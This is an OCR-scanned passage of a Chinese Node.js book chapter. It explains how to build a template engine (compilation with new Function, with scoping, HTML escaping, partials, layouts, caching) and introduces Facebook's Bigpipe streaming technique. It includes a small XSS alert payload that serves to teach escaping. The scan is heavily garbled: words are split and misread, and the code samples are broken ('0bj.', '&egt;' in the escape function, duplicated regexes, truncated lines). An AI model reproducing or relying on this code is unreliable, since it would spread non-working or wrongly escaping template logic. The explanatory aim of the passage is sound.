以 随意 实现 。Node 社 区 目前 与 模板 引 警 相关 模块 的 列表 差不多 要 深 3 个 屏 帝 才能 看 完 。 并 且 由 于 
Node 与 前 端 都 采用 相同 的 执行 语言 JavaScript， 所 以 一 套 模 板 语 言 也 无 须 为 它 编写 两 套 不 同 的 模 
板 引擎 就 能 轻松 地 路 前 后 端 共用 。 
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8.5 页 面 泻 染 5951 


模板 和 数据 与 最 终结 末 相 比 ， 这 里 有 一 个 前 态 、 动 态 的 划分 过 程 ， 相同 的 模板 和 不 同 的 数据 
可 以 得 到 不 同 的 结果 , 不 同 的 模板 与 相同 的 数据 也 能 得 到 不 同 的 结果 。 模板 技术 使 得 网 页 中 的 动 
态 内 容 和 静态 内 容 变 得 不 互相 依赖 , 数据 开发 者 与 模板 开发 者 只 要 约定 好 数据 结构 , 两 者 就 不 用 
互相 影响 了 ， 如 峰 8-6 所 未 。 


iy i i di 


,全 入 


模板 ”~--------h 误 枯 


和 


一 一 一 一 一 一 一 一 一 


图 8-6 ”模板 技术 


但 模板 技术 并 不 是 什么 神秘 的 技术 , 它 干 的 实际 上 有 是 拼接 字符 果 这 样 很 确 层 的 活 ， 只 是 各 种 
模板 有 着 各 目的 优 缺 点 和 技巧 。 说 模板 是 拼接 字符 驯 并 不 为 过 , 我 们 要 的 束 是 模板 加 数据 , 通过 
模板 引擎 的 执行 就 能 得 到 最 终 的 HTML 字 符 串 这 样 结果 。 

假设 我 们 的 模板 是 如 下 这 样 的 ,<%=%> 束 是 我 们 制定 的 模板 标签 (选择 这 个 标签 主要 因为 ASP 
和 JSP 郡 采用 它 做 标签 ， 相 对 熬 悉 ): 


Hello <%= username%> 


如 果 我 们 的 数据 是 {username: "JacksonTian"}, 那么 我 们 期 望 的 结果 就 是 Hello JacksonTian。 
具体 实现 的 过 程 是 模板 分 为 Hello 和 <%= username%> 两 个 部 分 , 前 者 为 普通 字符 串 , 后 者 是 表达 式 。 
表达 式 需 要 继续 处 理 , 与 数据 关联 后 成 为 一 个 变量 值 , 最 终 将 字符 串 与 变量 值 连 成 最 终 的 字符 串 。 
图 8-7 演 示 了 模板 与 数据 的 泻 染 过 程 网 。 


Hello <% =username % > 


Hello <%=username%> 
"Hello" obj .username 


"Hello"“+0bj .username 
图 8-7 模板 与 数据 的 泻 染 过 程 图 
1. 模板 引擎 
为 了 演示 模板 引擎 的 技术 ,我 们 将 通过 render() 方 法 实现 一 个 简单 的 模板 引擎 。 这 个 模板 引 
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擎 会 将 Hello <%= username%> 转 换 为 "Hello " + obj.username。 该 过 程 进行 以 下 几 个 步骤 。 

口语 法 分 解 。 提 取出 普通 字符 串 和 表达 式 ， 这 个 过 程 通 第 用 正则 表达 式 匹 配 出 来 ，<%=%> 的 
正则 表达 式 为 /<%=([\s\S]+?)%>/g。 

口 处 理 表 达 式 。 将 标签 表达 式 转 换 成 普通 的 语言 表达 式 。 

口 生成 得 执行 的 语句 。 

D 与 数据 一 起 执行 ， 生 成 最 终了 字符 串 。 

知晓 了 流程 ,模板 孙 数 就 可 以 轻松 愉快 地 开工 了 ， 如 下 所 示 : 

var render = function (str, data) { 
// 模板 技术 呢 ， 就 是 替换 特殊 标签 的 技术 
var tpl = str.replace(/<%=([\s\S]+?)%>/g, function(match, code) { 


return "' + 0bj. + code + "+ '"; 


}); 


tpl = "var tpl = '" + tpl + "'\nreturn tpl;"; 
var complied = new Function('obj', tpl); 
return complied(data); 

}; 

调用 上 面 的 模板 函数 试 试 ， 如 下 所 示 : 

var tpl = ‘Hello <%=username%>.'; 


console.log(render(tpl, {username: 'Jackson Tian'})); 
// => Hello Jackson Tian. 


@ 模板 编译 
上 述 代 码 的 实现 过 程 中 ， 可 以 看 到 有 部 分 内 容 前 文 没有 提 及 ， 它 的 内 容 如 下 : 


tpl = "var tpl = '" + tpl + "'\nreturn tpl;"; 
var complied = new Function('obj', tpl); 


为 了 能 够 最 终 与 数据 一 起 执行 生成 字符 串 , 我 们 需要 将 原始 的 模板 字符 串 转 换 成 一 个 函数 对 
象 。 比 如 Hello <%=username%> 这 人 句 模 板 字 符 串 ， 最 终 会 生成 如 下 的 代码 : 


function (obj) { 
var tpl = ‘Hello ' + obj.username + '.'; 
return tpl; 

} 


这 个 过 程 称 为 模板 编译 ， 生 成 的 中 间 函 数 只 与 模板 字符 串 相 关 , 与 具体 的 数据 无 天 。 如 来 每 
次 都 生成 这 个 中 间 函 数 ， 就 会 浪费 CPU。 为 了 提升 模板 演 染 的 性 能 速度 ,我 们 通常 会 采用 模板 预 
编译 的 方式 。 是 故 ， 上 面 的 代码 可 以 拆 解 为 两 个 方法 ， 如 下 所 示 : 


var complie = function (str) { 
var tpl = str.replace(/<%=([\s\S]+?)%>/g, function(match, code) { 
return "' + 0bj. + code + "+ '"; 


}); 
tpl = "var tpl = '" + tpl + "'\nreturn tpl;"; 
return new Function('obj, escape', tpl); 

}; 
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var render = function (complied, data) { 
return complied(data); 


}; 
通过 预 编 详 绥 存 模板 编译 后 的 结 来 ,实际 应 用 中 就 可 以 实现 一 次 编 府 ,多 次 执行 ， 而 原始 的 
方式 每 次 执行 过 程 中 都 要 进行 一 次 编 详 和 执行 。 
2. with 的 应 用 
上 上面 实 现 的 模板 引擎 非常 弱 ， 只 能 和 奉 换 变量 ，<%="]Jackson Tian"%> 就 无 法 文 择 了 。 为 了 证 它 
更 灵活 ,我 们 需要 改进 它 的 实现 ,使 字符 串 能 继续 表达 为 字符 串 ， 变 量 能 够 自动 寻找 属于 它 的 对 
象 。 于 是 with 关键 字 引 入 到 我 们 的 实现 中 。with 关 键 字 是 JavaScript 中 饱 受 Douglas Crockford 指 责 
的 设计 ， 细 节 在 本 书 附录 C 中 有 详细 描述 。 但 在 这 里 ，with 关 键 字 可 以 得 到 很 方便 的 应 用 。 
var complie = function (str, data) { 
// 模板 技术 呢 ， 就 是 替换 特殊 标签 的 技术 
var tpl = str.replace(/<%=([\s\S]+?)%>/g, function (match, code) { 


return "+" + Code+ "+ '"; 


}); 


tpl = "tpl = '" + tpl + "'"; 
tpl = 'var tpl = "";\nwith (obj) { + tpl + '}\nreturn tpl;'; 
return new Function('obj', tpl); 

}; 

普通 字符 串 就 直接 和 输出， 变量 code 的 值 则 是 obj[code]。 关 于 new Function()， 这 里 通过 它 创 
建 了 一 个 函数 对 象 ， 它 的 语法 如 下 : 

new Function ([arg1[, arg2[, ... argN]],] functionBody ) 

Function() 构 造 函 数 接受 多 个 参数 ， 最 后 一 个 参数 作为 函数 体 的 内 容 ， 其 余 参 数 都 会 用 来 作 
为 新 生成 的 函数 的 参数 列表 。 

@ 模板 安全 

前 文 提 到 过 XSS 产 洞 ， 它 的 产生 大 多 跟 模板 相关 ， 如 有 果 上 文中 的 username 的 值 为 
<script>alert("I am XSS.")</script>， 那 么 模板 演 染 输出 的 字符 串 将 会 是 : 

Hello «<script>alert("I am XSS.")</script>. 

这 会 在 页 面 上 执行 这 个 脚本 ， 如 果 恰 好 这 里 的 username 是 在 URL 的 查询 字符 上 输入 的 ， 这 就 
构成 了 XSS 漏 洞 。 为 了 提高 安全 性 ， 大 多 数 醒 板 和 都 提供 了 转 义 的 功能 。 转 义 就 是 将 能 形成 HTML 
标签 的 字符 转换 成 安全 的 了 字符， 这些 字符 主要 有 &、<、>、"、'。 转 义 函 数 如 下 : 

var escape = function (html) { 

return String(html) 
.replace(/&(?!I\w+;)/g, '&amp;') 
.replace(/</g, '&lt;') 
.replace(/>/g, '&egt;') 


.replace(/"/g, '&quot;') 
.replace(/'/g，'&#039;'); // IE 下 不 支持 8aposj ( 单 引号 ) 转 义 


S 


}; 
不 确定 要 输出 HTML 标 签 的 字符 最 好 都 转 义 ,为 了 让 转 义 和 非 转 义 表现 得 更 方便 ，<%=%> 和 和 
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<%-%> 分 别 表示 为 转 义 和 非 转 义 的 情况 ， 如 下 所 示 : 


var render = function (str, data) { 
var tpl = str.replace(/\n/g,，'\\n') // 将 换行 符 替 换 
.replace(/<%=([\s\S]+?)%>/g, function (match, code) { 
// 转 义 
return "' + escape(" + code + ") + ""; 
}).replace(/<%-([\s\S]+?)%>/g, es (match, code) { 


// 正常 输出 

return "" +"+ Ccode+ "+ '"; 
}); 
tpl "tpl 二 Li 十 tpl 十 nr 加 


tpl = "var tpl = "";\nwith (obj) { + tpl + '}\nreturn tpl;'; 
// 加 上 escape() 汤 数 
return new Function('obj', 'escape', tpl); 


}; 
檬 板 引 擎 通过 正则 分 别 匹配 -和 = 并 区 别 对 每 ， 最 后 不 要 忘记 传人 escape() 子 数 。 最 终 上 面 的 
危险 代码 会 转换 为 安全 的 输出 ， 如 下 所 示 : 


Hello &]lt;script&gt;alert(&quot;I am XSS.&quot;)&lt;/script&egt;. 


因此 ， 在 模板 技术 的 使 用 中 ， 时 刻 不 要 忘记 转 义 ， 尤 其 是 与 输入 有 关 的 变量 一 定 要 转 义 。 

3. 模板 逻辑 

尽管 模板 技术 已 经 将 业务 逻辑 与 视图 部 分 4 ein 但 是 视 网 上 还 是 会 存在 一 些 逻 辑 来 控制 
页 面 的 最 终 演 染 。 为 了 让 上 述 模 板 变 得 强大 一 点 , 我 们 为 它 浴 加 逻辑 代码 , 使 得 模板 可 以 像 ASP、 
PHP 那 样 控制 页 面 泻 染 。 璧 如 下 面 的 代码 ， 结 有 末 HITML 与 输入 数据 相关 : 


<% if (user) { %> 

<h2><%= user.name %></h2> 
<% } else { %> 

<h2> 匿 名 用 户 </h2> 
<% } %> 


它 要 编译 成 的 函数 应 该 是 如 下 这 样 的 : 


function (obj, escape) { 
Var tpl = ""; 
with (obj) { 
if (user) { 
tpl += "<h2>" + escape(user.name) + "</h2>"; 
} else { 
tpl += "<h2> 匿 名 用 户 </h2>"; 
} 
} 
return tpl; 


} 
模板 引擎 拼接 字符 串 的 原理 还 是 通过 正则 表达 式 进 行 匹配 符 换 ， 如 下 所 未 : 


var complie = function (str) { 
var tpl = str.replace(/\n/g，'\\n') // 将 换行 符 替 换 
.replace(/<%=([\s\S]+?)%>/g, function (match, code) { 
// 转 义 
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return + escape(" + code + ")+ '"; 
}).replace(/<%=([\s\S]+?)%>/g, function (match, code) { 

// 正常 输出 

return "+"+ code+"+ '"; 
}).replace(/<%([\s\S]+?)%>/g, function (match, code) { 

// 可 执行 代码 

return ”jn + code + "\ntpl += '"; 
}).replace(/\'\n/g, '\"') 
.replace(/\n\'/gm, '\'"'); 


tpl = "tpl = '" + tpl + "';"; 

// 转换 空 行 

tpl = tpl.replace(/''/g, '\'\\n\''); 

tpl = 'var tpl = "";\nwith (obj || {}) {\n' + tpl + '\n}\nreturn tpl;'; 
return new Function('obj', 'escape', tpl); 


}; 
完成 上 面 的 实现 后 ， 试 试 成 果 ， 如 下 所 示 : 
var tpl = |[ 


'<% if (user) { %>', 
'<h2><%=user.name%></h2>"， 
'<% } else { %>'", 
'x<h2> 匿 名 用 户 </h2>'"， 
‘<% } %>'].join('\n'); 


render(complie(tpl), {user: {name: 'Jackson Tian'}}); 
得 到 的 输出 内 容 如 下 所 示 : 

<h2>Jackson Tian</h2> 

接 下 来 在 不 传递 user 时 试 试 ， 如 下 所 示 : 
render(complie(tp1), {}); 

结 来 是 遗憾 地 得 到 异 第 信息 ， 如 下 所 未 : 


undefined:5 
if (user) { 


ReferenceError: user is not defined 
为 了 程序 的 健壮 性 , 需要 将 模板 写 得 健壮 一 点 ,对 于 不 确定 是 否 存 在 的 属性 ， 应 该 为 它 加 上 
var tpl = |[ 
<% if (obj.user) { %>', 
'<h2><%=Uuser.name%></h2>"， 
'<% } else { %>', 
'x<h2> 匿 名 用 户 </h2>"， 
<% } %>'].join('\n'); 
EJS 中 ， 它 的 变量 不 是 obj， 而 是 1ocals， 这 里 的 值 与 模板 引擎 中 的 with 语句 有 关 。 重 新 执行 
上 面 的 示例 ， 得 到 的 结果 为 : 
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<h2> 匿 名 用 户 </h2> 
此 外 ， 实 现 了 执行 表达 式 的 模板 引 敬 还 能 进行 循环 ， 如 下 所 示 : 
var tpl = |[ 


'<% for (var i = 0; i «< items.length; i++) { %>', 
'<%var item = items[i|;%>', 
‘<p><%= i+1 %>、<%=item.name%></p>"， 
'<% } %>! 
] .join('\n'); 
render(complie(tpl), {items: [{name: 'Jackson'}, {name: ' 朴 灵 '}]}); 


得 到 的 输出 如 下 所 示 : 

<p>1、Jackson</p> 

<p>2、 朴 灵 </p> 

如 此 ， 我 们 实现 的 模板 引擎 已 经 能 够 处 理 输 出 和 逻辑 了 ， 视 图 的 泻 染 还 和 辑 不 成 问题 。 

4. 集成 文件 系统 

前 文 我 们 实现 的 complie() 和 zender() 国 数 已 经 能 够 实现 将 输入 的 模板 字符 串 进 行 编译 和 其 


换 的 功能 。 如 果 与 前 文 的 HITP 啊 应 对 象 组 合 起 来 处 理 的 话 ， 我 们 啊 应 一 个 客户 端的 请 求 大 致 
如 下 : 


app.get('/path', function (req, res) { 
fs.readFile('file/path', 'utf8', function (err, text) { 
if (err) { 
res.writeHead(500, {'Content-Type': 'text/html'}); 
res.end(' 模 板 文 件 错 误 '); 
return; 


} 
res.writeHead(200, {'Content-Type': 'text/html'}); 


var htm1 = render(complie(text), data); 
res.end(html); 


}); 
}); 


这 样 的 啊 应 体验 并 不 友好 ， 其 缺点 有 如 下 几 点 。 

口 每 次 请 求 需要 反复 读 磁 盘 上 的 模板 文件 。 

D 每 次 请 求 需要 编译 。 

口 调用 烦琐 。 

如 果 你 记性 不 差 的 话 ， 应 该 知道 大 多 数 的 MVC 框 架 在 做 泻 染 时 都 只 有 一 个 简单 的 render() 


方法 ， 所 以 我 们 也 需要 一 个 更 简洁 、 性 能 更 好 的 render() 函 数 ， 如 下 所 示 : 


var cache = {}; 
Var VIEW FOLDER = '/path/to/wwwroot/views'; 


res.render = function (viewname, data) { 
if (!cache[viewname]) { 
var text; 
try { 
text = fs.readFileSync(path.join(VIEW FOLDER, viewname), 'utf8'); 
} catch (e) { 
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res.writeHead(500, {'Content-Type': 'text/html'}); 
res.end(' 模 板 文件 错误 ');) 
return; 


} 


cache[viewname] = complie(text); 


} 

var complied = cache[viewnamej]; 

res.writeHead(200, {'Content-Type': 'text/html'}); 
var html = complied(data); 

res.end(html); 

}; 

这 个 fes.render() 实 现 中 ， 虽 然 有 同步 谈 取 文件 的 情况， 但 是 由 于 采用 了 缓存， 只 会 在 第 一 
次 读 取 的 时 候 造 成 整个 进程 的 阻塞 ， 一 旦 缓存 生效 ， 将 不 会 反复 读 取 模板 文件 。 其 次 ,缓存 之 前 
已 经 进行 了 编译 ， 也 不 会 每 次 读 取 都 编译 。 

封装 完 泻 染 函 数 之 后 ， 我 们 的 调用 就 很 轻松 了 ， 如 下 所 示 : 

app.get('/path', function (req, res) { 

res.render('viewname' ,{}); 


]) 

与 文件 系统 集成 之 后 ,再 引入 缓存 ， 可 以 很 好 地 解决 性 能 问题 ， 接 口 也 大 大 得 到 简化 。 由 于 
模板 文件 内 容 都 不 太 大 ,也 不 属于 动态 改动 的 , 所 以 使 用 进程 的 内 存 来 缓存 编译 结果 ， 并 不 会 引 
起 太 大 的 垃圾 回收 问题 。 

5. 子 模板 

有 了 时候 檬 板 文 件 太 大 ， 太 过 复 洒 ,会 增加 维护 上 的 难度 ,而且 有 些 模板 是 可 以 重用 的 , 这 众 
生 了 子 模板 ( Partial View ) 的 产生 。 子 模板 可 以 般 套 在 别 的 模板 中 ， 多 个 模板 可 以 藤 入 同一 个 子 
模板 中 。 维护 多 个 子 模板 比 维护 完整 而 复杂 的 大 模板 的 成 本 要 低 很 多 , 很 多 复杂 问题 可 以 降解 为 
多 个 小 而 人 简单 的 问题 。 

这 里 我 们 采用 include 关 键 字 来 实现 模板 的 般 僚 。 假 设 母 模板 如 下 : 

<U]> 

<% users.forEach(function(user){ %> 
<% include user/show %> 


<% }) %> 
</U]> 


子 模板 user/show 内 容 如 下 : 
<1i><%=User.name%></1i> 
泻 染 出 来 的 效果 应 当 跟 以 下 代码 泻 染 出 来 的 效果 别 无 二 致 : 


<U]> 
<% users.forEach(function(user){ %> 
<1i><%=User.name%></1i> 
<% }) %> 
</ul> 


所 以 实现 子 模 板 的 诀 穷 就 是 多 将 include 语 名 进行 蔡 换 ， 再 进行 整体 性 编 详 ， 如 下 所 示 : 
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var files = {}; 


var preComplie = function (str) { 
var replaced = str.replace(/<%\s+(include.*)\s+%>/g, function (match, code) { 
var partial = code.split(/\s/)[1]; 
if (!files[partial]) { 
files[partial] = fs.readFileSync(fs.join(VIEW FOLDER, partial), 'utf8'); 


return files[partial |; 


}); 


// 多 层 谋 套 ， 继续 蔡 换 
if (str.match(/<%\s+(include.*)\s+%>/)) { 
return preComplie(replaced); 
} else { 
return replaced; 
} 
}; 


然后 我 们 改进 一 下 complie() 孙 数 ， 在 正式 编译 前 进行 子 模板 蔡 换 ， 如 下 所 示 : 


var complie = function (str) { 
// 预 解析 子 模板 
str = preComplie(str); 
var tpl = str.replace(/\n/g，'\\n') // 将 换行 符 替 换 
.replace(/<%=([\s\S]+?)%>/g, function (match, code) { 
// 转 义 
return "' + escape(" + Code + ") + ""; 
}).replace(/<%=([\s\S]+?)%>/g, function (match, code) { 
// 正常 输出 
return "" +"+ code+ "+ '"; 
}).replace(/<%([\s\S]+?)%>/g, function (match, code) { 
// 可 执行 代码 
return "';\n" + Code + "\ntpl += ""; 
}).replace(/\'\n/g, '\'"') 
.replace(/\n\'/gm, '\"'); 


tpl = "tpl = '" + tpl + "';"; 
// 转换 空 行 
tpl = tpl.replace(/''/g, '\'\\n\''); 
tpl = “var tpl = "";\nwith (obj || {}) {\n' + tpl + '\n}\nreturn tpl;'; 
return new Function('obj', 'escape', tpl); 
je 
6. 布局 视图 
子 模板 主要 是 为 了 重用 模板 和 降低 模板 的 复杂 度 。 子 模板 的 男 一 种 使 用 方式 就 是 布局 视图 
(layout )， 布 局 视图 又 称 母 版 页 ， 它 与 子 模 板 的 原理 相同 ,但 是 场景 稍 有 区 别 。 一 般 而 言 模 板 指 
定 了 子 模板 , 那 它 的 子 模板 就 无 法 进行 蔡 换 了 ， 子 模板 被 舱 入 到 多 个 父 模 板 中 属于 正常 需求 , 但 
是 如 有 果 在 多 个 父 模板 中 只 是 航 入 的 子 视图 不 同 , 模板 内 容 却 完全 一 样 ， 也 会 出 现 重 复 。 比 如 下 面 
两 个 简单 的 父 模板 : 
// 模板 1 
<Uul> 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


8.5 页 面 泻 染 229 


<% users.forEach(function(user){ %> 
<% include user/show %> 
<% }) %> 
</Ul> 
// 模板 2 
<U]> 
<% users.forEach(function(user){ %> 
<% include profile %> 
<% }) %> 
</Ul> 


这 些 重复 的 内 容 主 要 用 来 布局 , 为 了 能 将 这 些 布局 模板 重用 起 来 , 模板 技术 必须 支持 布局 视 
图 。 支持 布局 视图 之 后 , 布局 模板 就 只 有 一 份 , 演 染 视图 时 , 指定 好 布局 视图 就 可 以 了 , 如 下 所 示 : 


res.render('viewname', { 
layout: 'layout.html', 


users: [| 
1 
对 于 布局 模板 文件 ， 我 们 设计 为 将 <%- body %> 部 分 替换 为 我 们 的 子 模板 ， 如 下 所 示 : 
<U]> 


<% users.forEach(function(user){ %> 
<%- body %> 
<% }) %> 
</U]> 


蔡 换 代码 如 下 : 


var renderLayout = function (str, viewname) { 
return str.replace(/<%-\s*body\s*%>/g, function (match, code) { 
if (!cache[viewname]) { 
cache[viewname] = fs.readFileSync(fs.join(VIEW FOLDER, viewname), "utf8  ) ; 
} 
return cache[viewname ] ; 
}); 
}; 


最 终 集 成 进 res .render() 也 数 ， 如 下 所 示 : 


res.render = function (viewname, data) { 
var layout = data.layout; 
if (layout) { 
if (!lcache[layout]) { 
try { 
cache[layout] = fs.readFileSync(path.join(VIEW FOLDER, layout), 'utf8"); 
} catch (e) { 
res.writeHead(500, {'Content-Type': 'text/html'}); 
res.end(' 布 局 文件 错误 '); 
return,; 
} 
} 


} 
var layoutContent = cache[layout] || '<%-body%>'; 


var replaced; 
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try { 
replaced = renderLayout(layoutContent, viewname); 
} catch (e) { 
res.writeHead(500, {'Content-Type': 'text/html'}); 
res.end(' 模 板 文 件 错 误 ' ) ; 
return; 


} 
// 将 模板 和 布局 文件 名 做 Key 缓存 
var key = viewname + ': + (layout || ''); 
if (lcache[key]) { 
// 编译 模板 
cache[key] = cache(replaced); 
} 
res.writeHead(200, {'Content-Type': 'text/htm]l'}); 
var htm]l = cache[key](data); 
res.end(html); 
}; 


如 些 ， 我 们 可 以 轻松 地 实现 重用 布局 文件 ， 如 下 所 示 : 
res.render('user', { 


layout: “layout.htm] ， 
users: [| 


// 或 者 

res.render('profile', { 
layout: “layout.htm] ， 
users: [|] 


}); 

7. 模板 性 能 

从 前 文 的 实现 细 市 中 我 们 可 以 看 到 一 些 模板 引 苟 的 优化 步 比 ， 主 要 有 如 下 几 种 。 

口 缓存 模板 文件 。 

口 缓存 模板 文件 编译 后 的 函数 。 

完成 上 述 两 个 步骤 之 后 , 演 染 的 性 能 与 生成 的 函数 下 接 相 关 , 这 个 困 数 与 模板 字符 串 的 复杂 
度 有 下 接 关 系 。 如 采 在 模板 中 编写 了 执行 表达 式 ， 执 行 表 达 陈 的 性 能 将 直接 影响 模板 的 性 能 。 优 
化 执行 表达 式 就 是 对 模板 性 能 的 优化 ， 所 以 加 入 一 条 优化 步 又: 

@ 优化 模板 中 的 执行 表达 式 

除了 这 几 个 篆 见 的 方案 外 ， 模 板 引 警 的 实现 也 与 性 能 相关 。 本 下 的 实现 中 采用 了 new 
Function() ， 事 实 上 还 可 以 使 用 eval(); 对 于 字符 串 处 理 ， 本 下 中 用 的 是 字符 串 直 接 相 加 ， 有 的 
模板 引擎 采用 数组 存储 的 方式 ， 最 后 将 所 有 字符 串 相 连 。 对 于 变量 的 查找 ， 本 节 采 用 的 是 with 形 
成 作用 域 的 方式 实现 了 查找 ， 有 的 模板 引擎 采用 了 本 市 第 一 种 方式 ， 即 指定 变量 名 的 方式 ( obj. 
username ) 查找 , 指定 变量 而 不 用 with 可 以 减少 切换 上 下 文 。 这 些 细 市 都 是 影响 模板 速度 的 因 系 。 
由 于 现 有 模板 引擎 数量 巨 多 ， 此 处 不 再 做 比较 。 

8. 小 结 

模板 技术 的 出 现 , 将 业务 开发 与 HTML 输 出 的 工作 分 离开 来 , 它 的 设计 原理 就 是 单一 职责 原 
理 。 这 与 MVC 中 的 数据 、 逻 辑 、 视 图 分 离 如 出 一 胃 ， 更 与 前 端 HIML 、CSS 、JavaScript 分 离 的 设 
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计 理 念 一 致 ， 让 视觉、 结构、 逻辑 分 离开 来 。 随 独 Node 的 出 现 ,模板 能 够 在 前 后 端 共 用 实在 是 大 
寻 负 不 过 的 事情 ， 甚 至 都 不 用 去 重复 实现 引擎 。 本 和 介绍 了 模板 的 基本 原理 ， 如 今 各 种 各 样 的 模 
板 具备 不 同 的 特性 和 性 能 。 最 知名 的 有 EJS 、Jade 等 ， 它 们 在 模板 语言 的 设计 上 各 不 相同 ，EJS 是 
ASP、PHP、JSP 风 格 的 模板 标签 ，Jade 则 类 似 Python 、Ruby 的 风格 。 

本 节 介 绍 了 模板 技术 的 实现 细节 , 读者 可 以 按照 本 节 的 思路 实现 自己 的 模板 引擎 , 也 可 以 使 
用 EJS 、Jade 等 成 丈 的 模板 引擎 ， 除 了 上 述 提 及 的 ， 还 有 过 滤 需 等 功能 。 


8.5.4 Bigpipe 


这 个 名 词 与 在 第 4 章 中 提 到 的 Bagpipe 比 较 相 似 , 不 过 Bagpipe 的 翻译 为 风笛 , 是 用 于 调用 限 流 
的 。 此 处 的 Bigpipe 是 产生 于 Facebook 公 司 的 前 端 加 载 技 术 , 它 的 提出 主要 是 为 了 解决 重 数据 页 面 
的 加 载 速度 问题 ， 在 2010 年 的 Velocity 会 议 上 ， 当 时 来 日 Facebook 的 将 长 浩 完 生 分 娃 了 该 议题 ， 
随后 引起 了 国内 业界 巨大 的 反 啊 。 

这 里 以 一 个 简单 的 例子 说 明 下 前 文 提 到 的 MVC 和 模板 技术 潜在 的 问题 : 

app.get('/profile', function (req, res) { 

db.getData('sql1', function (err, users) { 
db.getData('sql2', function (err, articles) { 
res.render('user', { 
layout: 'layout.html', 


users: Users, 
articles: articles 


这 个 例子 中 , 我 们 演 染 profile 页 面 需要 获取 users 和 articles 数 据 , 然后 通过 布局 文件 layout 
和 模板 文件 user， 最 终 发 出 页 面 到 浏览 帮 问 。 排 除 挥 模板 文件 和 布局 文件 可 能 同步 的 影响 ,将 无 
依赖 的 数据 获取 通过 EventProxy 解 开 ， 如 下 所 示 : 


app.get('/profile', function (req, res) { 
var ep = new EventProxy(); 
ep.all('users', 'articles', function (users, articles) { 
res.render('user', { 
layout: “1layout.htm] ， 
users: users, 
articles: articles 


}); 


); 
ep.fail(function (err) { 
res.render('err', {message: err.message}); 
}); 
db.getData('sql1', ep.done('users')); 
db.getData('sql2', ep.done('articles')); 
)); 


至 此 还 存在 的 问题 是 什么 ? 
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问题 在 于 我 们 的 页 面 ， 最 终 的 HTML 要 在 所 有 的 数据 获取 完成 后 才 输 出 到 浏览 各 端 。Node 
通过 异步 已 经 将 多 个 数据 源 的 获取 并 行 起 来 了 , 最 终 的 页 面 输出 速度 取决 于 两 个 数据 请 求 中 啊 应 
时 间 慢 的 那个 。 在 数据 啊 应 之 前 ， 用 户 看 到 的 是 空白 页 面 ， 这 是 十 分 不 友好 的 用 户 体 验 。 

Bigpipe 的 解决 思路 则 是 将 页 面 分 割 成 多 个 部 分 ( pagelet ), 先 癌 用 户 输 出 没有 数据 的 布局 ( 框 
染 )， 将 每 个 部 分 逐步 输出 到 前 端 ， 青 最 终 演 染 填 充 框 架 ， 完 成 整个 网 页 的 泻 染 。 这 个 过 程 中 需 
要 前 端 JavaScript 的 参与 ， 它 负责 将 后 续 输 出 的 数据 演 染 到 页 面 上 。 

Bigpipe 是 一 个 需要 前 后 端 配合 实现 的 优化 技术 ， 这 个 技术 有 几 个 重要 的 点 。 

口 页 面 布局 框 染 (无 数据 的 )。 

口 后 并 持续 性 的 数据 输出 。 

口 前 庙 演 染 。 


Bigpipe 的 泻 染 流程 示意 图 如 网 8-8 所 示 。 
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带 天 窗 的 网 页 轮廓 补 天 窗 补 天 窗 
图 8-8 ”Bigpipe 的 演 染 流程 示意 
1. 页 面 布 局 框 染 
页 面 布局 框架 依然 由 后 端 泻 染 而 出 ， 如 下 所 示 : 


var cache = {}; 
var layout = 'layout.html’'; 


app.get('/profile', function (req, res) { 
if (!lcache[layout]) { 
cache[layout] = fs.readFileSync(path.join(VIEW FOLDER, layout), "utf8 ' ) ; 


res.writeHead(200, {'Content-Type': 'text/html'}); 
res.write(render(complie(cache[ layout |))); 
// TODO 


}); 

这 个 布局 文件 中 要 引入 必要 的 前 端 脚 本 ， 如 jQuery、Underscore 等 第 用 库 ， 其 次 要 引入 我 们 
重要 的 前 端 脚 本 ， 这 里 的 文件 名 为 bagpipe.js。 整 体 模板 文件 如 下 所 示 : 

// layout.html 


< IlDOCTYPE html> 
<html> 
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<head> 
<title>Bagpipe 示 例 </title> 
<script src="jquery.]js"></script> 
<script src="underscore.]js"></script> 
<script src="bigpipe.js"></script> 
</head> 
<body> 
<div id="body"></div> 
<script type="text/template" id="tpl body"> 
<div><%=articles%></div> 
</script> 
<div id="footer"></div> 
<script type="text/template" id="tpl footeTr > 
<div><%=Users%></div> 
</script> 
</body> 
</html> 
<script> 
var bigpipe = new Bigpipe(); 
bigpipe.ready('articles', function (data) { 
$('#body').html( .render($('#tpl body').html(), {articles: data})); 
}); 
bigpipe.ready('copyright', function (data) { 
$('#footer').html( .render($('#tpl footer').html(), {users: data})); 
}); 


</script> 

2. 持续 数据 输出 

模板 输出 后 ， 整 个 网 页 的 泻 染 并 没有 结束 , 但 用 户 已 经 可 以 看 到 整个 页 面 的 大 体 样 子 。 接 下 
来 我 们 继续 数据 输出 ,与 普通 的 数据 输出 不 同 , 这 里 的 数据 输出 之 后 知 要 被 前 端 脚本 人 处理, 是 故 
需要 对 它 进 行 封 净 处 理 ， 如 下 所 未: 


app.get('/profile', function (req, res) { 
if (!cache[layout]) { 
cache[layout] = fs.readFileSync(path.join(VIEW FOLDER, layout), 'utf8'); 
} 


res.writeHead(200, {'Content-Type': 'text/html'}); 

res.write(render(complie(cache[layout|))); 

ep.all('users', 'articles', function () { 
res.end(); 


ep.fail(function (err) { 
res.end(); 
}); 
db.getData('sql1', function (err, data) { 
data = err ? {} : data; 
res.write('<script>bigpipe.set("articles", ' + JSON.stringify(data) + ');</script>'; 
}); 
db.getData('sql2', function (err, data) { 
data = err ? {} : data; 
res.write('<script>bigpipe.set("copyright", 
}); 
1 


+ JSON.stringify(data) + ');</script>'; 
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对 于 需要 渲染 到 页 面 上 的 数据 ， 它 的 封 波 如 下 : 
res.write('<script>bigpipe.set("articles", ' + JSON.stringify(data) + ');</script>'; 
这 样 最 终 HTML 代 码 的 尾巴 上 还 应 该 有 如 下 这 样 的 代码 : 


<script>bigpipe.set("articles", "I am article");</script> 
<script>bigpipe.set("copyright", "I am copyright");</script> 


这 两 行 代 码 的 顺序 取决 于 谁 完 完成 两 次 异步 调用 ,由 于 Node 非 阻 窟 的 特性 , 多 次 异步 调用 可 
以 并 行 执 行 ， 谁 先 结束 谁 就 可 以 快速 推送 到 HTML 页 面 上 ， 随 着 前 端 脚本 的 执行 ， 就 可 以 更 快 地 
演 染 到 页 面 上 。 

相 比 Facebook 原 始 的 Bigpipe 应 用 在 PHP 这 类 阻塞 式 环境 中 ，Node 在 数据 获取 上 可 以 并 行进 
行 ， 使 得 Bigpipe 更 具 效 果 。 

3. 前 端 泻 染 

